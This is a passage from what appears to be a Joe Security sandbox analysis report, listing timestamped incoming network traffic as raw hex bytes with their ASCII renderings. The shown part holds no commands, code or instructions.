e1 08 39 6d a2 33 50 4e 4d 33 a2 b6 fd e4 2d 21 
Data Ascii: 72p>c}noiRw7|dn_>Ss+0n6]oxWSh.,8Te%AsssSi1Lc}_"Okkf*~I-LFHGXmw4i-ekI#/24`6kwgjjWjd5+7x9m
3PNM3-!

2021-11-25 16:28:57 UTC 4161 IN Data Raw: c5 7e 32 f8 73 7f 6f 32 c1 a4 59 dd ee 8e 4d ad 24 9f 77 6f e1 d4 d7 1b 71 e0 bd 5d 59 8d c5 b4 fb 9b ef 36 df 
99 9a be f9 9b c3 b6 ec cd 98 97 6b 56 5d c7 81 6c 9d 59 cd b2 fe f1 be 5d d8 a7 18 d1 8c 7d d6 cd a5 8d 73 77 92 b3 f2 
3e 23 d2 fc 30 6d 55 a2 bc 59 37 79 87 7e e8 f7 f9 8c 7a 7e 1f ed 55 7b fd 02 4f b4 66 d2 cd b7 f0 b2 2f 3b b7 57 d9 b2 7c 
37 b0 f3 18 18 95 95 9b 76 dd a3 e6 fc 69 bf f0 ad ec fe 52 22 da df 77 e6 61 fd 6a fd 94 1b e6 72 25 e3 22 95 ac 7c 7f a2 
e8 b2 43 f2 5c b6 d8 a1 c3 2e d5 3b 77 7a f5 ed 56 2e b4 3b 64 d4 25 4f df fd 9d a4 db 13 2e 57 cc ca 75 1c 93 5f 58 a7 c3 
4b 44 6d e6 25 56 e3 6f ca 17 e5 f6 ed 53 af c2 db 35 5d f1 c0 aa df c2 cd ff 00 d6 ac fd 85 3e 6d 64 5f d6 e2 a3 a4 4f 97 
34 dd 0e e7 55 ba fe ca 8f 6d b5 ae dd ab 
Data Ascii: ~2so2YM$woq]Y6kV]lY]}sw>#0mUY7y~z~U{Of/;W|7viR"wajr%"|C\.;wzV.;d%O.Wu_XKDm%VoS5]>md_O4Um

2021-11-25 16:28:57 UTC 4193 IN Data Raw: b9 bd 9f e5 59 e4 c3 6d fa 7b e4 74 af 19 61 65 4d ba 92 4d f6 d4 c7 10 94 97 bc df dd ad cc bd 73 5e be fe cf 
b9 92 dd ae 6f 1d 97 6a c1 e5 9d fe 67 e1 eb 5e b1 e0 bf 09 fc 37 f1 3d f4 ba 5d ec fe 22 5b ad 42 0f 32 c7 56 6b bf 23 c9 
71 1a 93 0c b1 79 65 0a 67 23 77 5a c1 d2 fc 5d 04 6d e7 c1 e6 5b 7e ec af ee db ef 2e 78 00 fa 73 55 d7 c6 86 49 a7 09 
bb 7a ae e8 e4 66 1b 95 97 a8 e7 9a 1d 4a 93 8b 82 a7 6f 34 c9 a5 8b 78 74 e3 18 de fd ed fe 45 9f 11 43 a1 e8 7e 2e b6 
d1 11 7e dd 79 2c 69 23 6a 5e 66 e5 b8 5e cc 41 f9 73 ef d6 97 5c f0 ae b5 a5 ad 9e ac 74 ab 96 d2 ee a3 2d 2f f1 23 32 
f1 90 41 39 cf af d6 b8 99 23 bc bc 9b cd ff 00 5b 2a e7 6c ea bb 56 3c fa 73 de b7 ac ef f5 9f ec f9 ec ad ee 64 be b7 92 
3d ad 6c cc 76 fa 9d be e3 da b5 54 55 38 29 39 
Data Ascii: Ym{taeMMs^ojg^7=]"[B2Vk#qyeg#wZ]m[~.xsUIzfJo4xtEC~.~y,i#j^f^As\t-/#2A9#[*lV<sd=lvTU8)9

2021-11-25 16:28:57 UTC 4225 IN Data Raw: e2 da 15 6c 8f e1 ff 00 f5 d3 5a 1f 25 bf db fe ed 3e 6d 47 ca f5 45 66 50 8b cf cc bf c3 b6 91 b0 fc 85 65 fe f7 fb 
b5 65 76 7c d8 fe f0 a4 da 1d 97 62 ee 55 5a 2e 2b b5 b3 29 5c 2f ef bf bb f2 8d bf 37 cb 4e 4c 2e d4 3f f0 2d bf 37 cb 56 
5a 30 dc 9d df 74 ee 6a 6b 20 7f e1 66 65 aa e6 e8 85 16 a7 be e4 2d 27 cb cb 7f bb 4d 95 5a e1 62 12 b7 dd fe 2a 9b 6e 
de ab b7 6d 46 96 fb f7 31 65 db fc 3f fd 6c 51 7b 3b 8e 5e ed 92 e8 42 ff 00 37 46 db fe ed 35 f7 c2 d2 81 2a ee fe f2 d4 ef 
6a bd 7e f2 b7 f0 d3 fe c2 9b 94 9f e2 fb bf c3 f8 55 7a b3 09 45 49 a6 8c f5 49 1f 94 6f bd fc 35 2b 38 55 5c 7f 77 e5 dd 57 
52 cf 6b 29 da aa bf de fb d4 ef b0 8f 9f 1b bf bb b6 93 92 65 ca 2e 4f 7b 23 31 52 45 5d fb 57 6a fc bb be ed 0e ce eb 8f 97
72 e3 77 f7 aa fb 58 b3 6e 
Data Ascii: lZ%>mGEfPeev|bUZ.+)\/7NL.?-7VZ0tjk fe-'MZb*nmF1e?lQ{;^B7F5*j~UzEIIo5+8U\wWRk)e.O{#1RE]WjrwXn

2021-11-25 16:28:57 UTC 4280 IN Data Raw: 26 ce 00 5c 63 24 7c bc d5 bd 7b 52 3a 7d 9d b4 bb 9a da dd a4 8d 5a 38 e3 3b 57 81 85 da b9 51 9c 73 c5 72 
ba 32 a7 2b 3e a2 70 96 c9 6e 5d 44 82 e9 5a 22 cd f2 ec 65 55 62 ae aa 73 df d0 d6 a4 2f e5 da f9 16 9e 42 5c 2e 19 96 
e7 3b 64 e7 9e 9c ff 00 5a c6 8e e4 c9 71 2c 57 3e 65 e3 2c a5 a3 82 ed 8c 0c ac 4f ca bd 8e de dc d5 cb 39 25 4d 3d a7 
9f 4f b6 69 3c cd b1 c7 24 e9 f2 a0 4e 71 cf 2c 1b e5 c7 be 6b 9e 49 c5 d9 b1 38 a8 5e fb f6 ff 00 87 b0 cd 3e 17 d4 b4 b9 
fe df 04 12 de c9 77 24 6b a7 b5 a0 6f dd ae 76 b6 f3 8d bf 2e e3 cd 1f 63 d0 f4 7b a6 30 40 d7 2d 24 63 6d 8b 48 67 f2 55 
78 e9 9e 71 f5 a4 d5 35 07 b1 b5 c8 da af b7 cb fb bb 7a e3 a7 f7 b8 ff 00 0a c9 b8 b8 94 aa c7 1f 9e d7 0d 26 ef 32 06 da 
ed 8f 40 3b 11 55 cd 29 6e f4 7d 8c 9d 45 cb 6d 
Data Ascii: &\c$|{R:}Z8;WQsr2+>pn]DZ"eUbs/B\.;dZq,W>e,O9%M=Oi<$Nq,kI8^>w$kov.c{0@-$cmHgUxq5z&2@;U)n}Em

Timestamp
kBytes
transferred Direction Data

Copyright Joe Security LLC 2021 Page 195 of 214



2021-11-25 16:28:57 UTC 4296 IN Data Raw: 59 17 6c 72 6e da ca 38 e7 35 e9 9a af c3 97 d5 b5 86 bb d5 2e 76 c5 e5 ed 8a 08 f0 cb d3 b9 ed 5e 77 ad 47 
05 ae bd 6d 05 a2 ad e4 0c a9 1b 41 06 77 48 e7 ef e3 3e f5 ee 60 ea 46 49 a6 ee de bd 92 67 99 57 9e 55 13 9b d5 f4 2c 
59 f8 04 de 68 b1 5c 68 ed 2b 5f ce a1 bc b6 6f 99 b1 db 8e ff 00 4a ce f0 34 26 6d 61 8e a3 fe a2 26 f9 95 b3 bb 70 fa 7a 
7a d7 62 9a 7c b6 b3 69 ee 1a 4b 18 a0 8c c5 f6 48 d8 ab 2f 3f de f5 14 93 43 a6 68 f6 37 97 36 0a d2 de 34 6f e6 33 67 
73 76 6a cf eb b3 8f 3c 6f 7b ed e5 f3 09 4a 51 8b 9f 51 c7 c4 3a 35 e5 bf d8 2c 2f b5 6d 3e 56 51 14 7f f1 36 9d 57 70 cf 
54 dc 57 1f ec d7 0d ac 68 73 b4 2d 07 de 96 36 0d f2 b1 fa 77 fc ea 3f 0b e8 f7 3f db 11 5d dc 79 71 ab 37 99 b7 8d d2 7b 
7b 7d 6b af d5 96 0d 3e 4f b5 27 fa 4b 48 c7 73 
Data Ascii: Ylrn85.v^wGmAwH>`FIgWU,Yh\h+_oJ4&ma&pzzb|iKH/?Ch764o3gsvj<o{JQQ:5,/m>VQ6WpTWhs-6w??]yq7{
{}k>O'KHs

2021-11-25 16:28:57 UTC 4312 IN Data Raw: d6 c8 ea 7d 76 fa 0a c3 7d d1 51 8c 6d 75 b7 a9 56 ea 1b 6b 98 62 02 78 d9 a7 67 55 fe 2e 89 fa 37 24 6d ef 4f 
b6 b3 8e 15 f2 fe f4 be 59 dc db 4a b2 ae cc 8d b9 fb aa 00 ff 00 1a 8e e7 49 b9 7b 8f 36 39 e0 9d e4 8d 23 f2 e4 80 ac 4a 
a0 92 0e 17 a1 1f de ef de 8d c6 fa c5 4b cf e5 6d 91 d5 96 e5 84 4c ac 09 56 f9 ba 0f 97 6f 7a 35 b7 2b 64 29 59 bd 49 6e 
26 bd 9a d5 52 dd a0 96 29 19 37 40 b2 22 b4 91 10 37 36 58 67 8e d8 eb 8a 8a e6 44 b9 58 8a 44 b1 6c 44 da cc c5 7c 
b4 c0 f5 f7 f9 aa ee 83 6f a8 79 7f 63 4d 36 7b eb 18 3e 58 1b 4f f2 e5 7b 88 c0 db f7 b3 b8 e3 ef 74 e9 59 96 fa 85 cc eb 
73 e7 d9 db 2e a3 e6 6d 58 34 f9 3c fd a9 f7 77 49 bf a6 4f 07 1f 85 28 f3 5d d9 2d 0c 9d a5 6e 5d c9 d6 1d 92 4a b1 79 97 
9b 58 c9 ba 75 1b a4 5c 80 7a 71 91 da b7 ec 
Data Ascii: }v}QmuVkbxgU.7$mOYJI{69#JKmLVoz5+d)YIn&R)7@"76XgDXDlD|oycM6{>XO{tYs.mX4<wIO(]-n]JyXu\zq

2021-11-25 16:28:57 UTC 4320 IN Data Raw: df 2e dd bf e7 d6 a3 55 97 cc d9 b7 6a 2f f1 6e a9 55 44 7d 5b 6e dc 37 cb ed d2 9d 94 4c d2 f7 ae d9 24 6a 16 
15 70 ab f3 7d ea 7a c2 59 72 8b f7 b1 50 4d 32 34 7b 11 7e ef de 66 fb d5 3a c8 7c b5 05 95 57 ef 32 ed a8 b5 bd 45 ee 
ad 62 0b 0f d9 f8 7d aa ab 8a 92 11 03 b3 0d be 6f fb 5f c3 cf f3 aa b3 49 b7 70 7f 6f 9a 9a 93 22 c9 cb 7c bb b7 7f b5 55 bf 
a8 73 3e 5d 8b 4e fb 2e 36 46 ab 12 ff 00 76 9d b9 16 45 01 7e 6d bf 33 6e 15 4f ed 87 cc 6c 2f cc ad 4a b7 27 6b e7 e5 ff 
00 80 d2 69 89 c9 c9 22 ee fd bb 7f bb fe cf f7 6a 3f dd a2 e0 ca cc ab f7 6a 8e fd db 80 6d cb bb e5 db fc 34 c4 91 d3 8f 95
7f de 6a 71 56 d8 d6 36 b3 2e b4 91 a3 67 6b 32 ff 00 b4 db 7e 6a 73 5e 0d df 24 4a bb 5b 76 e6 63 55 37 19 24 c3 7f 0d 
4e be 5a 36 07 de e2 95 cc fd e7 b9 2a 
Data Ascii: .Uj/nUD}[n7L$jp}zYrPM24{~f:|W2Eb}o_Ipo"|Us>]N.6FvE~m3nOl/J'ki"j?jm4jqV6.gk2~js^$J[vcU7$NZ6*

2021-11-25 16:28:57 UTC 4336 IN Data Raw: 96 af 17 ae c5 4d c5 7f 87 9e 1a 9e 8a 59 78 f9 99 7f 86 ac 79 7b b8 d9 f3 7f df 2b 43 db f9 7d 37 6e 5c 7d da 
2e 8a b7 37 ba 8a b2 42 fb 7e f6 df ee d0 aa 8c cc 4f ca df fb 35 5c 5b 72 db 81 f9 6a 15 58 a3 99 60 2d 1a cf 2e 59 63 dc 
aa cd 8e b8 1e d5 37 46 7c 9b c7 a8 36 5a 3d 9b 69 5b 2f b9 0f dd 6a b8 b1 86 5f b9 f3 7f b2 b4 8b b3 bb 6d ff 00 d0 a9 77 
05 cb 6b 76 2a f9 61 76 a0 a4 f2 77 6d 0f f7 38 fb bf 7b 6d 59 ba bf b0 d3 63 8a e2 e6 75 81 24 91 63 56 9d 95 13 73 1e 06 
69 fb 03 48 df ba fb bf 7b f8 bf 0a 9e 6d d8 42 49 a2 83 5b 86 e1 d7 ee ff 00 e8 39 a9 52 38 fa 6d f9 63 fe ea d5 c7 8b b6 df
bd fd 29 f1 a7 98 ca 11 5a a5 cb 43 a2 2b ac 4c 87 b8 08 cd 1e d6 dd fe ed 3a 37 6f 31 8e df 97 ef 6d 5f ef 56 8b e9 7b db 
79 db b9 aa 78 74 bd bb bf 81 7f 87 
Data Ascii: MYxy{+C}7n\}.7B~O5\[rjX`-.Yc7F|6Z=i[/j_mwkv*avwm8{mYcu$cVsiH{mBI[9R8mc)ZC+L:7o1m_V{yxt

2021-11-25 16:28:57 UTC 4352 IN Data Raw: 7f 06 c6 b1 a9 8f 6c 4d fe ca ff 00 87 a5 45 ff 00 08 cc 6b d5 55 7e 52 de 63 7d e5 c9 e8 0d 7a 8c 9a 7f 9d b7 1f 
32 ff 00 0b 6d db 51 36 93 16 d8 80 83 e4 dd bb 76 dd db be b5 9a c2 53 94 6d 25 72 95 79 a8 ea 79 5b f8 1c 43 1c a5 16 
36 fe 2d bb 7e 66 cf 7a 3f b0 6e 23 6c c5 2c 91 2a a8 dd bb f8 5b e9 fe 15 e9 ff 00 d8 68 f2 29 3f 77 f0 f9 68 93 43 fd ca ec 
58 e5 f9 bf bb bb 6e 7f ad 63 2c 0d 29 69 23 6f ac ca 3a b7 a9 e5 f0 c7 ac 58 c8 b3 db 5e 34 5f dd dc bf 2a fb 1c f5 a6 6a 
1a c6 b3 f3 1b 89 56 55 db f2 fe ec 7b 7a 57 a8 49 e1 e8 a3 da 4a b2 bb 7d df e2 db f9 d6 75 ff 00 87 bc 9b 79 67 2b e5 44 
aa 16 49 1a 21 f8 e3 f3 c5 72 4f 2b a3 6b ec 8e 9a 58 fa db 73 33 c2 5d 74 ef ed 8b cb b9 ed a7 83 51 9f e6 8e e6 3d df b9 
c0 c1 22 36 21 58 fa 72 2a fe 8b 0c 
Data Ascii: lMEkU~Rc}z2mQ6vSm%ryy[C6-~fz?n#l,*[h)?whCXnc,)i#o:X^4_*jVU{zWIJ}uyg+DI!rO+kXs3]tQ="6!Xr*

2021-11-25 16:28:57 UTC 4360 IN Data Raw: c7 1a 5d 98 b6 82 3d 3f 51 6c c6 b6 cb f3 6e 71 e9 9f 98 67 b5 77 10 e9 e8 d1 e0 fc bb b0 bb bf d9 1d ab cc fe 
1a fc 34 07 5a b3 d7 0e 95 63 a4 35 b6 25 5f b2 2c 91 bc 8f fc 27 39 fe 95 ed c8 a9 e6 30 78 97 7e df 9b 6a 85 5d d5 fa 16 
50 ea d3 83 8c 97 ba b6 ee 7c 8e 3b d9 c6 ab 95 29 5c cc b5 b0 45 8d 63 2b f3 2f cc ac d5 3b 59 ae d6 42 bf c3 b9 7f de 
ab cd 6c 5a 4d fb 57 6e d3 fe ca af e3 56 d7 cb da c8 77 6c fb bd 99 bd ab e8 1b 6b 54 79 52 95 f5 32 e3 b5 fd e2 90 bb 57 
ef 6e 6f f1 a9 e1 b7 44 91 5f 6f ca ad fc 3f dd ab 0d 18 55 c2 2e dd d1 8f bd fc 54 e5 91 db fd 66 df 95 7e 5f 2f 1f fd 6a 69 
a6 c3 99 d8 75 bd b1 93 98 e2 f9 b9 fb b8 dd bb f1 a5 f2 7f 73 e5 ba ee 65 5f fb ea 95 a4 78 fe e2 ee dd f7 56 a4 fe 1f 2c 
2e d9 1b fb d9 f9 6a 49 77 bd ee 42 88 
Data Ascii: ]=?Qlnqgw4Zc5%_,'90x~j]P|;)\Ec+/;YBlZMWnVwlkTyR2WnoD_o?U.Tf~_/jiuse_xV,.jIwB

2021-11-25 16:28:57 UTC 4376 IN Data Raw: 32 e5 9a e5 5b e4 65 1d 5b 38 e7 da b9 cd 6b 5a bd d7 35 66 79 6f a7 d4 25 5c 47 13 7f 75 7a 28 c7 a0 ab 37 
d6 77 9a 85 9d b3 a7 98 cc aa 55 a0 55 dc d1 a8 fa 76 35 b5 e0 7f 09 c1 f6 a6 bc d5 2e 66 d3 a0 db b6 2f 2e 3f 99 9b be 
73 fc 35 e0 d5 c5 28 29 4e 4f 53 d2 84 6e ae ed fe 46 0a 78 6e e1 ee 9a 39 27 8d 5e 3c 6e 95 a4 3b 79 f4 15 e8 56 be 1d 
d3 ac 6c 7c ad 3a f9 be db 1e 24 6d d2 22 a4 de d9 3f 77 da b9 69 3c 3d 73 e7 4e f2 df 36 9e f2 37 95 13 2f dd 91 07 f1 7a 
ae 7b 0c 55 48 7c 3b aa db ea 8a 67 97 c8 b7 66 dc d7 2a c1 fe 5e 9c 81 df be 0d 70 cd aa a9 27 3d 87 cd ae 9d 3f af 99 
d1 f8 63 55 58 75 86 79 e0 8a e5 55 66 59 3c cf 9d a3 76 eb b5 f3 58 5a ab 58 58 33 18 3e 55 91 be 65 dd 56 ad 5e e3 44 
d2 ef 23 b7 59 da d6 46 2c b7 2d 88 99 bf da 0b f7 88 
Data Ascii: 2[e[8kZ5fyo%\Guz(7wUUv5.f/.?s5()NOSnFxn9'^<n;yVl|:$m"?wi<=sN67/z{UH|;gf*^p'=?cUXuyUfY<vX
ZXX3>UeV^D#YF,-

2021-11-25 16:28:57 UTC 4392 IN Data Raw: c5 6d 27 84 f5 78 ec 52 cf 4d d2 6e 7c eb 3b 1b 39 3c c8 dc 4f 02 af ca ce 14 3f ca 1d 86 ee b5 c3 da f8 4f c4 76
ff 00 1f b4 ad 3b 5b d5 6e 74 fb cb 6b 49 bf b2 75 0b 1d 2f cd 5b a8 56 dd c7 9c f3 be 55 5c 7c cb b7 18 f9 ab 3a 39 a5 4a 
d6 7c 9b b2 f1 59 47 d5 5f bd 52 fa 5f fe 18 fa 59 a4 2c cb 8e 9f de a9 37 6e 5e 2a 8d 8b 3c 30 a4 66 5f 37 e5 fb db 76 ee 
fc 3b 54 9b 9d 64 fb df f0 2a fa 4b 1f 39 1b dd a6 58 56 2a b8 2d fe d7 fc 0a 9f e7 05 a8 16 4d fd 3f fb 2a 8e 4c ae ec ff 00 
15 2b 5f 70 e6 b3 2c 2b bb 75 65 5f 9a 9a 8a 15 b9 ff 00 80 d4 69 33 ed c1 fb ab 4d 69 0a 2f fb 5f c5 f3 53 d5 17 cf cc 9a 6
5 86 c3 36 7e e5 57 75 0c df 26 df 96 9c cf b5 5b f8 7f bd f3 53 63 73 b7 3f 76 85 a6 a1 17 61 ec fb 57 05 7f e0 55 1a 33 ee 
de 7e 55 a4 ff 00 96 7f c2 d4 
Data Ascii: m'xRMn|;9<O?Ov;[ntkIu/[VU\|:9J|YG_R_Y,7n^*<0f_7v;Td*K9XV*-M?*L+_p,+ue_i3Mi/_Se6~Wu&[Scs?
vaWU3~U

2021-11-25 16:28:57 UTC 4399 IN Data Raw: 1c 7b fd 2b 1a de 0b 3d 0f 4b 96 ca e2 f2 0d 4f cc 5d b1 b2 c6 57 e6 f4 e7 3f ce ba 69 52 53 72 4d de ef a7 f9 
9a d4 a2 e0 9b ad 2e 55 f2 39 8d 48 4f e1 b8 e2 d7 25 d3 34 d9 2c 24 8d 2d 23 82 75 dd 14 c9 b7 e6 96 34 6f 9b 1e ac 79 
cd 32 e7 54 f0 9d bf c3 19 ed a3 8a 79 7c 55 3d f2 49 e7 b2 95 48 60 04 f0 0e 70 d9 c8 f7 e2 9d 71 7f 1a 47 04 76 5a 7c 
31 f9 7b 17 cc 91 8c b2 f0 79 c6 ec 81 9a a1 26 86 9a dc 77 37 17 f2 5c dc cb 1c 9f 2a b3 05 5e bc e3 02 bd 8a 78 7f 69 f1 
2b 59 f7 e8 b6 47 15 6a 98 78 fb d0 91 7f c0 ff 00 11 6c fc 23 a3 dd 40 34 1b 4d 42 fe ea 5f 39 6e ef 5b 77 93 91 b7 e4 51 
f7 5b be ec d4 9e 26 f1 86 91 75 34 b7 16 7a 05 f5 8c 53 ec f3 16 4d 48 bb 4d 30 72 5e 43 85 e4 32 e0 6d 3d 3a d4 3e 1b 
f0 bd b5 f5 ad f4 46 0f dd 32 ed 8f e6 f9 b7 67 
Data Ascii: {+=KO]W?iRSrM.U9HO%4,$-#u4oy2Ty|U=IH`pqGvZ|1{y&w7\*^xi+YGjxl#@4MB_9n[wQ[&u4zSMHM0r^C2m=:
>F2g
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2021-11-25 16:28:57 UTC 4415 IN Data Raw: 25 57 72 ff 00 b3 bb a8 f5 a8 d5 de 38 71 0e d6 dd fd ef 96 98 f7 1f 2a a0 6f 9b 77 de 5f cb 15 2e c4 9b 68 3b 
95 36 ff 00 0f de 55 a3 e1 57 65 c5 46 2a cf 4b 93 9c bc 71 11 b5 9b 6f de fe ed 45 1e 21 9b 2e be bf c5 b7 e5 3e 87 9a 58 
57 6b 79 6e ca df de f3 3e 5d d4 8c bb a4 61 e5 6d 55 fb b5 2a d7 66 29 f2 a6 ae 2e f2 f1 aa 05 f9 97 ef 6e a4 4f 95 9b 62 
2e ef bd b7 77 f1 7a 9a 22 67 91 b0 8d fc 3f 7b fd aa 5e 23 93 7c 9f 2b 7f ec b5 4f 42 dc 6c af 22 48 58 37 cf b7 e6 5f 95 
77 7f 7b e9 53 ff 00 cb 3c 9d bf 78 6e 66 fb bb bb 54 0a df 2f ee db 6c bf 79 99 bf 8b da 91 3c c5 6f ee fc a5 76 ff 00 0b 7a 
56 6e e4 75 b9 2e d0 bf 73 6b 3b 7f c0 7e 6f e9 4b b7 f7 3b ce d8 91 98 2b 36 dd bf 35 26 d4 7f 9c 6d db b7 6c 9b be 6e ff 
00 d2 95 5d 15 73 3a ae df bd bb fa 
Data Ascii: %Wr8q*ow_.h;6UWeF*KqoE!.>XWkyn>]amU*f).nOb.wz"g?{^#|+OBl"HX7_w{S<xnfT/ly<ovzVnu.sk;~oK;+
65&mln]s:

2021-11-25 16:28:57 UTC 4431 IN Data Raw: 67 b7 85 8c 65 34 a4 7a cf 87 be 06 78 c3 5e b8 82 39 2c e3 d3 2d 64 ca cb 3c 93 6e 65 51 d3 68 fe 23 f5 af 73 
fb 54 df 08 74 1b 6b 3d 4f 53 b4 b9 b3 b6 88 ac 51 c9 95 b9 91 80 e0 60 67 a9 f6 a6 69 3f 1b bc 29 1e 8f 6a b1 cb 26 fd de 
40 f3 d4 a3 6f 5c 1e 0f 4e f5 e3 7f 1d 3c 31 a5 49 24 ba cd ae ab 2f da 2e a5 2d 2e 9f 24 e6 79 30 d8 0c 17 39 3b 7e 87 8a 
f0 25 19 46 d1 5b 77 3e 9a 52 8d 2a 76 a5 14 8f 13 fd a4 fe 2b 78 b7 e2 05 bc 6f 71 e1 eb 68 2c f4 d9 8e d9 d6 db f7 fe 59 
da 3e fe 47 1c e0 f1 5e 49 e1 5d 4b 59 69 a5 fb 26 87 b9 e3 8f 73 2b 32 6c 92 3c 60 fc ad d7 af 18 39 f6 ae 9b e2 07 f6 c2 
78 75 ad 60 83 59 fe cd 91 be 66 b9 bd 2b f3 2f 40 cb dc 64 0e 08 a9 3c 13 a8 26 a1 a6 c7 71 a7 ca b2 e9 dc 2c fa 7c 6b fb
db 59 b6 e3 39 ce 57 3e e0 a9 ec 6b e8 
Data Ascii: ge4zx^9,-d<neQh#sTtk=OSQ`gi?)j&@o\N<1I$/.-.$y09;~%F[w>R*v+xoqh,Y>G^I]KYi&s+2l<`9xu`Yf+/@
d<&q,|kY9W>k

2021-11-25 16:28:57 UTC 4439 IN Data Raw: 32 73 8a f2 98 fc 55 ad dd 6a df 6f fe da 8e f3 e6 0b 16 e5 4d b1 a1 1f 77 8e 36 fd 39 af 52 87 c6 97 09 a8 41 
1c 7a 6d b7 fa b0 d3 b4 6c 76 6e c0 20 a9 23 3c f3 5f 2b 8c 8d 4c 3d 35 27 66 ed 6d 7b 6e 7d 6f b5 54 e9 f2 a5 66 b6 3b 4f 
11 78 89 17 4d de 2c 56 f1 24 80 f9 91 b6 76 b6 7a 83 93 d0 56 4e 9b 7e fa 85 bc 11 41 f2 b4 6a 9f bb f3 0f ee 54 8f 97 0c 
0f b7 7a f3 e7 f8 85 7f e1 db af b2 5c 58 f9 fb 58 f9 6b 37 ce 92 23 75 21 bf 4c 51 e0 ff 00 17 4b 27 db 92 2b 65 6d ca 5a 48 
e0 5f e0 de 78 c7 b0 f4 af 36 9d 19 3a 4d a5 e7 be 82 a5 89 55 5e 9f 33 33 e3 06 8a 74 fd 42 2b c8 b5 a9 34 fb d9 d8 45 
3d a2 c9 27 ef 13 1b bc df 93 18 c9 e3 a5 79 4b 5b 5e ea 53 44 13 50 b9 9d db 62 ac f3 b7 ca ad 9c 15 24 9e 7e b5 f4 56 
bb e1 7d 1a f2 18 ae ee 34 a8 2e 6d fc af 
Data Ascii: 2sUjoMw69RAzmlvn #<_+L=5'fm{n}oTf;OxM,V$vzVN~AjTz\XXk7#u!LQK'+emZH_x6:MU^33tB+4E='yK[^SD
Pb$~V}4.m

2021-11-25 16:28:57 UTC 4455 IN Data Raw: ea f0 39 f7 e9 5d 6e 9b e1 b9 1d b6 05 fb aa 3f dd db 5e 96 da 6d a4 72 66 28 95 7f da fc 29 ed 85 8f fd 52 f9 
6b 5f 4b 4d 59 58 f9 cf 6d d1 6e 70 ef e1 f5 87 c8 c2 b4 ab 1f f7 7e 5a d9 5d 34 c6 d9 8f e5 6d bb 57 f1 1d f1 5b 92 3a 47 
1e 36 fd ec ed a5 dc 8c aa 36 fc b5 a2 8c ba b3 17 3d 53 91 94 ba 7b 48 ca 1d 95 97 f8 57 fc 2a cf d9 5f cb 95 0e ef bb fc 
35 71 fc be 9f 75 a8 66 33 2f 3f 37 fb 5f c5 c5 0e 2d ad 0b e6 ea f6 29 4d 18 45 6f 95 95 37 54 ad fc 28 3e e6 ef 97 fb b4 e6
4d fb 5e 86 b9 2a aa af f7 7f 8a 87 1b d8 9e 6b c6 f6 17 e4 65 6f ef 7d e6 fe 54 37 c9 f2 6e 5f bd f3 2f d2 95 9a 38 e3 89 f6 
ff 00 b3 50 c8 ee d2 67 6a ee 6c ff 00 0f dd a9 8d af 65 b1 9c 5a b5 c9 5b ee b1 14 ab 36 e5 5d 9f 32 f3 51 a3 96 91 50 7d 
df f3 9e b4 c9 24 d9 d3 e6 db 42 
Data Ascii: 9]n?^mrf()Rk_KMYXmnp~Z]4mW[:G66=S{HW*_5quf3/?7_-)MEo7T(>M^*keo}T7n_/8PgjleZ[6]2QP}$B

2021-11-25 16:28:57 UTC 4471 IN Data Raw: 56 57 bf 43 db 35 ef 8b 09 26 a9 04 16 cd 22 3d e7 99 3c 6b 1d b6 fb 66 41 90 31 b8 86 db ef 92 2a eb 6a 5a 
ad ce 8b 67 71 1e 9a ba 66 9d 1b 3d a4 fa 85 f3 46 8d 19 74 ca 94 89 72 59 b8 e1 87 e5 5e 35 32 c6 8b fd a7 a7 5e 5d ff 
00 c2 46 cc 6c ad a7 9e 7f 2a da 3b 7d f9 05 14 a8 22 30 b9 f9 89 1d 7a 57 56 9f da 1e 30 d0 6f 20 be be be 56 8a 48 e5 
6b 6b 6b 28 e5 45 92 32 55 0b 4e ad c2 fa 7a 8a f8 0c 67 35 59 29 d5 9d fd 7b fa 1e ed 3a 70 a7 ee c5 68 5d d6 2e af d6 
ea da ec 45 77 e4 45 72 92 c8 cb f3 2c d8 ff 00 96 6f 82 4e 0e 3b f1 ec 2b 96 d5 7c 43 71 61 aa 34 12 db 7f 64 5c 2c e5 97 
ed 32 0d aa 98 1b 08 50 7e 4c f6 ae b6 de c7 55 bc d4 be c5 65 a7 ad ce a3 2c ae be 45 8c e8 de 5c 87 0a ad 24 ad 85 88 
6e f4 24 d7 17 e2 ad 72 4f 09 dc 4f 6c 2d ad b5 cd 52 
Data Ascii: VWC5&"=<kfA1*jZgqf=FtrY^52^]Fl*;}"0zWV0o VHkkk(E2UNzg5Y){:ph].EwEr,oN;+|Cqa4d\,2P~LUe,E\$n$rOOl-
R

2021-11-25 16:28:57 UTC 4479 IN Data Raw: 67 ee ed a5 b9 98 2c 39 fb ea cb b9 69 24 c2 b7 fb 7b b6 ee a6 ac 90 42 f1 69 bb 91 bc db 3f e9 ab f1 bb fb d4 
36 24 91 88 fb eb f2 ee fe f7 e1 49 22 9f 31 48 ff 00 81 7f bd 4f dc 8a ac 37 53 d1 25 ca 1e d1 ee b7 1c 88 7e 5f 97 ee b6 
e5 a2 35 0b f7 fe 6f e1 ff 00 77 e9 8a 44 98 79 79 dc bb 9a a3 fb 40 65 c1 f9 7e 6f e1 fe ef b6 2a 55 dd ee 2f 79 dd 16 a4 93
cb dd 96 f9 76 d3 d2 44 85 94 6e 56 ff 00 69 7f fa d5 51 9c 32 ae 77 7f bd fe 14 91 ae d6 f9 17 f8 47 de f9 be 5a 7d 0b 4f 
dd d5 e8 69 f9 88 ed 92 df ef 53 3e d4 57 6e dd bf 33 1f bd ed 54 37 61 b0 1b e5 6f bc bb 7e f7 ff 00 aa a4 8d a5 69 14 95 
5d ad 9d bf 2d 2e 58 db 52 94 52 ea 69 2b 94 87 25 7e 5f bd ba b3 df 57 8d a4 94 ed 95 55 72 db 9b e5 a7 5f 21 b9 56 b7 
79 e7 55 e3 e6 b4 93 63 2e 39 1c fd 6b 
Data Ascii: g,9i${Bi?6$I"1HO7S%~_5owDyy@e~o*U/yvDnViQ2wGZ}OiS>Wn3T7ao~i]-.XRRi+%~_WUr_!VyUc.9k

2021-11-25 16:28:57 UTC 4495 IN Data Raw: 41 73 71 1c 6b 1c 17 76 97 b2 5c c5 22 81 b8 63 18 8c 03 ef 54 93 52 8a e6 6f b4 d9 da 34 48 ab e6 f9 8d 02 
3a ef 07 0d b5 39 55 c7 e5 5b 72 c5 47 97 97 4f 51 73 37 3f 69 d4 d2 8f c5 d6 4d 23 3d a6 a6 b0 26 e0 aa aa c9 b1 b1 ce 
d9 15 be 62 bc 76 ad 7b 6f 12 59 ba b4 f1 6d 67 89 8c b2 2d a2 84 f9 71 c9 f4 f5 ae 5c cd 71 6f a6 ea 70 5b cf a7 cb f6 cb 
